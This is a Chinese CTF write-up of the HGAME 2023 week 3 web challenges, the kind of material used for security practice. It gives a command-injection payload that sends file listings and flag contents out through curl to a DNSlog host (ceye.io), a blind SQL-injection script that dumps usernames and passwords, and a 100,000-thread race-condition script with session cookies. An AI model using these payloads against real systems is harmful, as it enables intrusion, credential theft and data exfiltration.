首页 > 其他分享 >HGAME_2023_WEB_WP_WEEK3

HGAME_2023_WEB_WP_WEEK3

时间:2023-02-07 11:57:49浏览次数:53  
标签:__ WEB http IFS url FLAG flag WP WEEK3

Ping To The Host

很明显的rce,简单测试一下发现空格,cat,;被办,且执行无回显,空格用${IFS},%09,$IFS$9等等来绕过,我们利用dnslog将执行结果外带出来,这里使用的是http://ceye.io/

由于每次dnslog只能带出一条信息,我们利用sed -n来爆破其它信息

ip=|curl${IFS}http://?????.ceye.io/`ls${IFS}/|sed${IFS}-n${IFS}'1p'`

 

 

 得到flag文件名为: flag_is_here_haha

flag也被办了,用通配符读取就行了

ip=|curl${IFS}http://?????.ceye.io/`ca''t%09/fla*`

 

Login To Get My Gift 简单的SQL注入,得到admin账号密码即可得到flag,这里直接给exp:
import requests
flag = ''
def attack_post(url):
    global flag
    r = requests.session()
    for i in range(1, 100000):
        low = 32
        high = 127
        mid = (low + high) // 2
        while low < high:
            payload = f"a'/**/||/**/((ascii(right(left(database(),{i}),1)))<{mid})#"
            payload1 = f"a'/**/||/**/((ascii(right(left((select/**/group_concat(table_name)/**/from/**/information_schema.tables/**/where/**/table_schema/**/regexp/**/database()),{i}),1)))<{mid})#"
            payload2 = f"a'/**/||/**/((ascii(right(left((select/**/group_concat(column_name)/**/from/**/information_schema.columns/**/where/**/table_name/**/regexp/**/'User1nf0mAt1on'),{i}),1)))<{mid})#"
            payload3 = f"a'/**/||/**/((ascii(right(left((select/**/group_concat(concat_ws(':',UsErN4me,PAssw0rD))/**/from/**/User1nf0mAt1on),{i}),1)))<{mid})#"
            # print(payload)
            data = {
                'username': 'testuser',
                'password': payload3
            }
            rp = r.post(url, data=data)
            # print(rp.text)
            if 'Success!' in rp.text:
                high = mid
            else:
                low = mid + 1
            mid = (low + high) // 2
        if low <= 32 or high >= 127:
            break
        flag += chr(mid - 1)
        print(flag)
if __name__ == '__main__':
    url = 'http://week-3.hgame.lwsec.cn:30369/login'
    attack_post(url)
Gopher Shop 下载附件是源码,先对题目环境分析一波,是一个商店的界面,售卖一些商品,其中有FLAG,可以知道肯定需要买到这个FLAG 接下来分析源码,找到user.go这个文件,这里面是对销售的一些功能实现,往下可以看到判断是否卖的出这个函数,if判断后,直接 对商品数量进行加减,这里猜测可以条件竞争,直接过if买到FLAG,其实正解应该是go的uint溢出,这里应该算非预期了。
import requests
import threading
headers = {
    'Cookie': 'SESSION=MTY3NDU1MjI0MnxEdi1CQkFFQ180SUFBUkFCRUFBQUlfLUNBQUVHYzNSeWFXNW5EQVlBQkhWelpYSUdjM1J5YVc1bkRBY0FCV0ZrYldsdXw23LorOFg5LmryZzZcxm8ESbYpNFaTv1UjY2UkMozyJw==; session=MTY3NDcwNzYyM3xEdi1CQkFFQ180SUFBUkFCRUFBQUpfLUNBQUVHYzNSeWFXNW5EQW9BQ0hWelpYSnVZVzFsQm5OMGNtbHVad3dIQUFWaFpHMXBiZz09fM5a-9HM-2vbFCrfAbfLVU049emtbxCloYDTab3QDEx-'
}
def get(url):
    r = requests.get(url=url, headers=headers)

if __name__ == '__main__':
    url = 'http://week-3.hgame.lwsec.cn:30552/api/v1/user/buyProduct?product=Flag&number=1'
    for i in range(100000):
        threading.Thread(target=get, args=(url,)).start()

然后界面就直接买到FLAG了,checkFLAG即可拿到flag值:

hgame{GopherShop_M@gic_1nt_0verflow}

 

标签:__,WEB,http,IFS,url,FLAG,flag,WP,WEEK3
From: https://www.cnblogs.com/F12-blog/p/17066181.html

相关文章

  • [Web] 前端的一些快速启动
    VueQuickStartwithVue-CLIimportinhtmlpage:<scripttype="importmap">{"imports":{"vue":"https://unpkg.com/vue@3/dist/vue.esm-browser.js"......
  • C#.NET 4.8 WEBP 转 GIF
    C#.NET4.8WEBP转GIF项目是.NET4.8。nuget引用 Magick.NET-Q16-AnyCPU,版本:7.14.5。高版本,如:12.2已经不支持.NETFRAMEWORK了。usingImageMagick;usingSyste......
  • 基于SpringBoot的WebSocket开发(非完整代码)
    1、添加依赖<!--websocket--><dependency><groupId>org.springframework.boot</groupId><artifactId>spring-boot-starte......
  • Web端通用数据效验
    如有问题请指正,谢谢!/*//通用IE,获取时间,只允许输入8位-分割的日期functiongetMyDateTime(myDate){//带日期格式的,去掉日期。if(myDate.length>10){......
  • 第六十八章 使用 Web 服务监控 IRIS - 监控网络客户端
    第六十八章使用Web服务监控IRIS-监控网络客户端SYS.WSMon.Client类和相关类是一个IRIS网络服务客户端,可以在同一个IRIS实例或另一个IRIS实例中调用SYS.......
  • WebAssembly
    WebAssembly 播报编辑讨论上传视频面向Web的二进制格式WebAssembly(简称wasm)是一个虚拟指令集体系架构(virtualISA),整体架构包括核心的ISA定义、二进制编码、程序语义......
  • #yyds干货盘点#理解webpack自动刷新浏览器
    在我们日常的前端开发过程中,在编辑器里只需要保存代码,浏览器就会自动刷新当前页面。这个过程被称为热更新。其实实现这一功能需要两步:监听代码的变化自动刷新浏览器下面看一......
  • WPF 使用 StaticResource、DynamicResource、RelativeSource
    StaticResource(静态资源)依赖属性静态资源在第一次编译后即确定其对象或值,之后不能对其进行修改。StaticResources的适用场合:(1)在资源第一次引用之后无需再修改资源的值。(2......
  • WPF-04 数据绑定
    下图展示WPF中数据绑定基本概念 在WPF中Binding对象是一根连接绑定目标和数据源的桥梁,任何一方变化都会通过Binding来通知。Code<Windowx:Class="Example_03.MainWindow"......
  • WPF-03 资源之Resources
    WPF中有两种类型资源StaticResource、DynamicResource,资源本质上就是一个对象。 这节我们主要介绍静态资源StaticResource(静态资源)在第一次编译后就确定的......